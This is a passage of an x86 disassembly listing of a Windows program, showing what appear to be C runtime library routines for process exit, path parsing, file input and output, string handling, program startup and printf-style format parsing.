		mov	ebx, [esp+8+arg_8]
		mov	dword_481E00, edi
		mov	byte_481DFC, bl
		jnz	short loc_40E845
		mov	eax, dword_48343C
		test	eax, eax
		jz	short loc_40E834
		mov	ecx, dword_483438
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_40E833


loc_40E820:				; CODE XREF: sub_40E7D4+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40E828
		call	eax


loc_40E828:				; CODE XREF: sub_40E7D4+50j
		sub	esi, 4
		cmp	esi, dword_48343C
		jnb	short loc_40E820


loc_40E833:				; CODE XREF: sub_40E7D4+4Aj
		pop	esi


loc_40E834:				; CODE XREF: sub_40E7D4+3Cj
		push	offset dword_41A030
		push	offset dword_41A028
		call	sub_40E86D
		pop	ecx
		pop	ecx


loc_40E845:				; CODE XREF: sub_40E7D4+33j
		push	offset dword_41A03C
		push	offset dword_41A034
		call	sub_40E86D
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_40E86B
		push	[esp+4+arg_0]
		mov	dword_481E04, edi
		call	dword_418074	; ExitProcess


loc_40E86B:				; CODE XREF: sub_40E7D4+85j
		pop	edi
		retn
sub_40E7D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E86D	proc near		; CODE XREF: sub_40E785+15p
					; sub_40E785+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40E872:				; CODE XREF: sub_40E86D+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_40E885
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40E880
		call	eax


loc_40E880:				; CODE XREF: sub_40E86D+Fj
		add	esi, 4
		jmp	short loc_40E872
; ---------------------------------------------------------------------------


loc_40E885:				; CODE XREF: sub_40E86D+9j
		pop	esi
		retn
sub_40E86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E887	proc near		; CODE XREF: sub_407041+FFp
					; sub_40B807+1E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40CBC0
		cmp	eax, 1
		pop	ecx
		jb	short loc_40E8C2
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_40E8C2
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_40E8BE
		push	2
		push	ebx
		push	esi
		call	sub_413A59
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_40E8BE:				; CODE XREF: sub_40E887+25j
		inc	ebx
		inc	ebx
		jmp	short loc_40E8CC
; ---------------------------------------------------------------------------


loc_40E8C2:				; CODE XREF: sub_40E887+18j
					; sub_40E887+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40E8CC
		and	byte ptr [eax],	0


loc_40E8CC:				; CODE XREF: sub_40E887+39j
					; sub_40E887+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_40E944


loc_40E8DF:				; CODE XREF: sub_40E887+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_483301[edx], 4
		jz	short loc_40E8F0
		inc	eax
		jmp	short loc_40E90A
; ---------------------------------------------------------------------------


loc_40E8F0:				; CODE XREF: sub_40E887+64j
		cmp	cl, 2Fh
		jz	short loc_40E904
		cmp	cl, 5Ch
		jz	short loc_40E904
		cmp	cl, 2Eh
		jnz	short loc_40E90A
		mov	[ebp+var_4], eax
		jmp	short loc_40E90A
; ---------------------------------------------------------------------------


loc_40E904:				; CODE XREF: sub_40E887+6Cj
					; sub_40E887+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_40E90A:				; CODE XREF: sub_40E887+67j
					; sub_40E887+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_40E8DF
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_40E944
		cmp	[ebp+arg_8], 0
		jz	short loc_40E93F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40E928
		mov	edi, esi


loc_40E928:				; CODE XREF: sub_40E887+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_413A59
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_40E93F:				; CODE XREF: sub_40E887+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------


loc_40E944:				; CODE XREF: sub_40E887+56j
					; sub_40E887+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_40E94E
		and	byte ptr [ecx],	0


loc_40E94E:				; CODE XREF: sub_40E887+BBj
					; sub_40E887+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_40E9A1
		cmp	edi, ebx
		jb	short loc_40E9A1
		cmp	[ebp+arg_C], 0
		jz	short loc_40E97E
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40E967
		mov	edi, esi


loc_40E967:				; CODE XREF: sub_40E887+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_413A59
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_40E97E:				; CODE XREF: sub_40E887+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_40E9C9
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_40E98E
		mov	esi, eax


loc_40E98E:				; CODE XREF: sub_40E887+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_413A59
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_40E9C9
; ---------------------------------------------------------------------------


loc_40E9A1:				; CODE XREF: sub_40E887+CCj
					; sub_40E887+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_40E9BF
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_40E9B0
		mov	esi, eax


loc_40E9B0:				; CODE XREF: sub_40E887+125j
		push	esi
		push	ebx
		push	edi
		call	sub_413A59
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_40E9BF:				; CODE XREF: sub_40E887+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_40E9C9
		and	byte ptr [eax],	0


loc_40E9C9:				; CODE XREF: sub_40E887+FCj
					; sub_40E887+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9CE	proc near		; CODE XREF: sub_4077FD+2A29p
					; sub_4077FD+2A56p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_40E9E2
		xor	eax, eax
		jmp	short loc_40EA18
; ---------------------------------------------------------------------------


loc_40E9E2:				; CODE XREF: sub_40E9CE+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_40EA12
		mov	esi, [ebp+arg_8]


loc_40E9EB:				; CODE XREF: sub_40E9CE+42j
		dec	dword ptr [esi+4]
		js	short loc_40E9FA
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_40EA01
; ---------------------------------------------------------------------------


loc_40E9FA:				; CODE XREF: sub_40E9CE+20j
		push	esi
		call	sub_412DA9
		pop	ecx


loc_40EA01:				; CODE XREF: sub_40E9CE+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EA1C
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_40EA12
		dec	[ebp+arg_4]
		jnz	short loc_40E9EB


loc_40EA12:				; CODE XREF: sub_40E9CE+18j
					; sub_40E9CE+3Dj ...
		and	byte ptr [edi],	0


loc_40EA15:				; CODE XREF: sub_40E9CE+55j
		mov	eax, ebx
		pop	esi


loc_40EA18:				; CODE XREF: sub_40E9CE+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40EA1C:				; CODE XREF: sub_40E9CE+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_40EA12
		xor	ebx, ebx
		jmp	short loc_40EA15
sub_40E9CE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA30	proc near		; CODE XREF: sub_4077FD+1DBBp
					; sub_4077FD+1DD9p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_40EA51
		xor	eax, eax
		jmp	short loc_40EA53
; ---------------------------------------------------------------------------


loc_40EA51:				; CODE XREF: sub_40EA30+1Bj
		mov	eax, edi


loc_40EA53:				; CODE XREF: sub_40EA30+1Fj
		cld
		pop	edi
		leave
		retn
sub_40EA30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EA57	proc near		; CODE XREF: sub_4077FD+1936p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4180E8	; DeleteFileA
		test	eax, eax
		jnz	short loc_40EA6D
		call	dword_418044	; RtlGetLastWin32Error
		jmp	short loc_40EA6F
; ---------------------------------------------------------------------------


loc_40EA6D:				; CODE XREF: sub_40EA57+Cj
		xor	eax, eax


loc_40EA6F:				; CODE XREF: sub_40EA57+14j
		test	eax, eax
		jz	short loc_40EA7E
		push	eax
		call	sub_413260
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40EA7E:				; CODE XREF: sub_40EA57+1Aj
		xor	eax, eax
		retn
sub_40EA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA81	proc near		; CODE XREF: sub_4077FD+18A4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_413AE3
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDD8
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_413B70
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40EA81	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAC0	proc near		; CODE XREF: sub_4077FD+7A9p
					; sub_40BB81+2ACp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_40EAF1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_40EAEF
		jz	short loc_40EAF1
		dec	ecx
		dec	ecx


loc_40EAEF:				; CODE XREF: sub_40EAC0+29j
		not	ecx


loc_40EAF1:				; CODE XREF: sub_40EAC0+9j
					; sub_40EAC0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40EAC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EAF8	proc near		; CODE XREF: sub_40BB81+2E2p
					; sub_40BB81+42Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_40EB74
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EB17
		cmp	edi, 1
		jz	short loc_40EB17
		cmp	edi, 2
		jnz	short loc_40EB74


loc_40EB17:				; CODE XREF: sub_40EAF8+13j
					; sub_40EAF8+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_40EB2E
		push	esi
		call	sub_413C47
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_40EB2E:				; CODE XREF: sub_40EAF8+27j
		push	esi
		call	sub_412CD7
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_40EB43
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_40EB57
; ---------------------------------------------------------------------------


loc_40EB43:				; CODE XREF: sub_40EAF8+42j
		test	al, 1
		jz	short loc_40EB57
		test	al, 8
		jz	short loc_40EB57
		test	ah, 4
		jnz	short loc_40EB57
		mov	dword ptr [esi+18h], 200h


loc_40EB57:				; CODE XREF: sub_40EAF8+49j
					; sub_40EAF8+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_413BAD
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40EB81
; ---------------------------------------------------------------------------


loc_40EB74:				; CODE XREF: sub_40EAF8+Bj
					; sub_40EAF8+1Dj
		mov	dword_481DBC, 16h
		or	eax, 0FFFFFFFFh


loc_40EB81:				; CODE XREF: sub_40EAF8+7Aj
		pop	edi
		pop	esi
		retn
sub_40EAF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB84	proc near		; CODE XREF: start+272j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_418640
		push	offset sub_414568
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_418130	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_481DD4, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_481DD0, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_481DCC, ecx
		shr	eax, 10h
		mov	dword_481DC8, eax
		xor	esi, esi
		push	esi
		call	sub_410223
		pop	ecx
		test	eax, eax
		jnz	short loc_40EBF0
		push	1Ch
		call	sub_40EC9F
		pop	ecx


loc_40EBF0:				; CODE XREF: sub_40EB84+62j
		mov	[ebp+var_4], esi
		call	sub_4143B3
		call	dword_41812C	; GetCommandLineA
		mov	dword_48342C, eax
		call	sub_414281
		mov	dword_481E08, eax
		call	sub_414034
		call	sub_413F7B
		call	sub_40E785
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_418128	; GetStartupInfoA
		call	sub_413F23
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_40EC3D
		movzx	eax, [ebp+var_2C]
		jmp	short loc_40EC40
; ---------------------------------------------------------------------------


loc_40EC3D:				; CODE XREF: sub_40EB84+B1j
		push	0Ah
		pop	eax


loc_40EC40:				; CODE XREF: sub_40EB84+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_418094	; GetModuleHandleA
		push	eax
		call	sub_407041
		mov	[ebp+var_60], eax
		push	eax
		call	sub_40E7B2
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_413D9F
		pop	ecx
		pop	ecx
		retn
sub_40EB84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_40E7C3

; =============== S U B	R O U T	I N E =======================================



sub_40EC7A	proc near		; CODE XREF: sub_40D822+16p
					; sub_413F7B+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_481E10, 1
		jnz	short loc_40EC88
		call	sub_414640


loc_40EC88:				; CODE XREF: sub_40EC7A+7j
		push	[esp+arg_0]
		call	sub_414679
		push	0FFh
		call	off_41FC70
		pop	ecx
		pop	ecx
		retn
sub_40EC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC9F	proc near		; CODE XREF: sub_40EB84+66p

arg_0		= dword	ptr  4

		cmp	dword_481E10, 1
		jnz	short loc_40ECAD
		call	sub_414640


loc_40ECAD:				; CODE XREF: sub_40EC9F+7j
		push	[esp+arg_0]
		call	sub_414679
		pop	ecx
		push	0FFh
		call	dword_418074	; ExitProcess
		retn
sub_40EC9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECC3	proc near		; CODE XREF: sub_40C6C3+46p
					; sub_40D3F7+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_40EDCC
		test	al, 40h
		jnz	loc_40EDCC
		test	al, 1
		jz	short loc_40ECFB
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_40EDCC
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_40ECFB:				; CODE XREF: sub_40ECC3+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_40ED35
		cmp	esi, offset dword_4223B0
		jz	short loc_40ED23
		cmp	esi, offset dword_4223D0
		jnz	short loc_40ED2E


loc_40ED23:				; CODE XREF: sub_40ECC3+56j
		push	ebx
		call	sub_4149BD
		test	eax, eax
		pop	ecx
		jnz	short loc_40ED35


loc_40ED2E:				; CODE XREF: sub_40ECC3+5Ej
		push	esi
		call	sub_414979
		pop	ecx


loc_40ED35:				; CODE XREF: sub_40ECC3+4Ej
					; sub_40ECC3+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_40EDA2
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_40ED65
		push	edi
		push	eax
		push	ebx
		call	sub_4147CC
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_40ED98
; ---------------------------------------------------------------------------


loc_40ED65:				; CODE XREF: sub_40ECC3+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40ED80
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4830E0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_40ED85
; ---------------------------------------------------------------------------


loc_40ED80:				; CODE XREF: sub_40ECC3+A5j
		mov	eax, offset dword_4222F8


loc_40ED85:				; CODE XREF: sub_40ECC3+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_40ED98
		push	2
		push	0
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch


loc_40ED98:				; CODE XREF: sub_40ECC3+A0j
					; sub_40ECC3+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_40EDB6
; ---------------------------------------------------------------------------


loc_40EDA2:				; CODE XREF: sub_40ECC3+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_4147CC
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_40EDB6:				; CODE XREF: sub_40ECC3+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_40EDC2
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_40EDD1
; ---------------------------------------------------------------------------


loc_40EDC2:				; CODE XREF: sub_40ECC3+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_40EDD4
; ---------------------------------------------------------------------------


loc_40EDCC:				; CODE XREF: sub_40ECC3+10j
					; sub_40ECC3+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_40EDD1:				; CODE XREF: sub_40ECC3+FDj
		or	eax, 0FFFFFFFFh


loc_40EDD4:				; CODE XREF: sub_40ECC3+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ECC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDD8	proc near		; CODE XREF: sub_40C6C3+29p
					; sub_40D3F7+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_40F4F1
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_40EE0C
; ---------------------------------------------------------------------------


loc_40EE04:				; CODE XREF: sub_40EDD8+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_40EE0C:				; CODE XREF: sub_40EDD8+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_40F4F1
		cmp	bl, 20h
		jl	short loc_40EE2D
		cmp	bl, 78h
		jg	short loc_40EE2D
		movsx	eax, bl
		mov	al, byte_41862C[eax]
		and	eax, 0Fh
		jmp	short loc_40EE2F
; ---------------------------------------------------------------------------


loc_40EE2D:				; CODE XREF: sub_40EDD8+40j
					; sub_40EDD8+45j
		xor	eax, eax


loc_40EE2F:				; CODE XREF: sub_40EDD8+53j
		movsx	eax, byte_41864C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_40F4E0	; default
		jmp	off_40F4F9[eax*4] ; switch jump


loc_40EE4D:				; DATA XREF: .nsp0:off_40F4F9o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0040EE46 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EE68:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		movsx	eax, bl		; jumptable 0040EE46 case 2
		sub	eax, 20h
		jz	short loc_40EEAB
		sub	eax, 3
		jz	short loc_40EEA2
		sub	eax, 8
		jz	short loc_40EE99
		dec	eax
		dec	eax
		jz	short loc_40EE90
		sub	eax, 3
		jnz	loc_40F4E0	; default
		or	[ebp+var_4], 8
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EE90:				; CODE XREF: sub_40EDD8+A4j
		or	[ebp+var_4], 4
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EE99:				; CODE XREF: sub_40EDD8+A0j
		or	[ebp+var_4], 1
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EEA2:				; CODE XREF: sub_40EDD8+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EEAB:				; CODE XREF: sub_40EDD8+96j
		or	[ebp+var_4], 2
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EEB4:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		cmp	bl, 2Ah		; jumptable 0040EE46 case 3
		jnz	short loc_40EEDC
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5B7
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_40F4E0	; default
		or	[ebp+var_4], 4
		neg	eax


loc_40EED4:				; CODE XREF: sub_40EDD8+111j
		mov	[ebp+var_20], eax
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EEDC:				; CODE XREF: sub_40EDD8+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_40EED4
; ---------------------------------------------------------------------------


loc_40EEEB:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		mov	[ebp+var_10], edx ; jumptable 0040EE46 case 4
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EEF3:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		cmp	bl, 2Ah		; jumptable 0040EE46 case 5
		jnz	short loc_40EF16
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5B7
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_40F4E0	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF16:				; CODE XREF: sub_40EDD8+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF28:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		cmp	bl, 49h		; jumptable 0040EE46 case 6
		jz	short loc_40EF5B
		cmp	bl, 68h
		jz	short loc_40EF52
		cmp	bl, 6Ch
		jz	short loc_40EF49
		cmp	bl, 77h
		jnz	loc_40F4E0	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EDD8+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF52:				; CODE XREF: sub_40EDD8+158j
		or	[ebp+var_4], 20h
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF5B:				; CODE XREF: sub_40EDD8+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_40EF74
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_40EF74
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EF74:				; CODE XREF: sub_40EDD8+186j
					; sub_40EDD8+18Cj
		mov	[ebp+var_30], edx


loc_40EF77:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		mov	ecx, off_421DF8	; jumptable 0040EE46 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40EFA3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_40F519
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_40EFA3:				; CODE XREF: sub_40EDD8+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_40F519
		add	esp, 0Ch
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40EFBB:				; CODE XREF: sub_40EDD8+6Ej
					; DATA XREF: .nsp0:off_40F4F9o
		movsx	eax, bl		; jumptable 0040EE46 case 7
		cmp	eax, 67h
		jg	loc_40F1E3
		cmp	eax, 65h
		jge	loc_40F066
		cmp	eax, 58h
		jg	loc_40F0C4
		jz	loc_40F257
		sub	eax, 43h
		jz	loc_40F087
		dec	eax
		dec	eax
		jz	short loc_40F05C
		dec	eax
		dec	eax
		jz	short loc_40F05C
		sub	eax, 0Ch
		jnz	loc_40F3E2
